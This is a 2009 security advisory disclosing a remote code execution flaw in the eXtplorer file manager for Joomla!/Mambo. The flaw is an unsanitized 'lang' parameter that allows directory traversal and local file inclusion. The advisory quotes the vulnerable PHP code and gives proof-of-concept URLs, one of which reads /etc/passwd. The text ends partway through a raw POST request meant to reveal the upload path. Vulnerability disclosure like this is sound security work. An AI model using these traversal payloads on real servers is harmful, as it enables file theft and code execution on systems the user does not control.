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============================================INTERNET SECURITY AUDITORS ALERT 2009-002
- Original release date: January 7th, 2009
- Last revised: March 2nd, 2009
- Discovered by: Juan Galiana Lara
- Severity: 9/10 (CVSS scored)
============================================
I. VULNERABILITY
-------------------------
eXtplorer standalone & Joomla!/Mambo Remote Code Execution vulnerability
II. BACKGROUND
-------------------------
eXtplorer is a web-based File Management Component for all your needs.
It has a desktop-application-like interface with drag&drop, grid and a
directory tree and makes heavy use of the ExtJS Javascript Library.
It's widely used to access and modify the files and directories on
your server via FTP or direct file access.
It runs natively under Joomla! 1.5.x, 1.0.x, Mambo component and can
also be used as a standalone app. Is based on Quixplorer (available at
http://sourceforge.net/projects/quixplorer/). eXtplorer is released
under a dual-license: the Mozilla Public License (MPL 1.1) and the GNU
General Public License (GNU/GPL).
III. DESCRIPTION
-------------------------
eXtplorer is prone to a local file include and directory traversal
vulnerability because the application fails to sufficiently sanitize
user-supplied input. The parameter 'lang' is not properly sanitized.
Since the application allows to upload files to the server could be
combined with previous vulnerabilities to allow an attacker to view
any local file or execute arbitrary code remotely in the context of
the webserver. This may aid in launching further attacks.
In order to perform the attack, an attacker could upload a PHP
maliciuos code (upload action is allowed by the application), then
exploit a bug to know the full path to the local file recently
uploaded (if 'display_errors' directive is set to On) and then include
it exploiting the local file include and directory traversal flaw
(using ../../path/to/file) to finally execute the php code.
Successfully explotation of this flaw may aid in the compromise of the
server in the context of the webserver.
The software is affected running standalone or as a Joomla!/Mambo
component.
IV. PROOF OF CONCEPT
-------------------------
The affected code:
File: include/init.php Line 100
$GLOBALS["language"] = $mainframe->getUserStateFromRequest(
'language', 'lang', $default_lang );
File: include/init.php Line: 145
// Necessary files
require_once( _EXT_PATH."/config/conf.php" );
if( file_exists(_EXT_PATH."/languages/".$GLOBALS["language"].".php")) {
require_once(
_EXT_PATH."/languages/".$GLOBALS["language"].".php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english.php" );
}
if(
file_exists(_EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php")) {
require_once(
_EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english_mimes.php" );
}
the file include/init.php is included in all the request to the
application.
Here is a poc:
PoC: http://site/path/?lang=../../path/to/maliciuos_uploaded_code
PoC: http://site/path/?lang=../../../../../etc/passwd%00
The bug can be exploited with or without 'magic_quotes_gpc', but note
that if magic_quotes_gpc is set to Off, an attacker can view any file,
adding a '\0' character like /etc/passwd, if not only can include php
files, allowing to execute any php code he want.
Is also possible to hide the crafted parameters data including it
thougth POST method, making detection more difficult to site
administrator.
In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:
POST /path/index.php HTTP/1.1
Host: host
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://host/path
Content-Length: 80
Cookie: PHPSESSID=